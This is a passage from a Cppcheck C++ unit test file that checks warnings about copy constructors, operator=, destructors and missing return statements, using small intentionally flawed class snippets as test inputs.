}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. 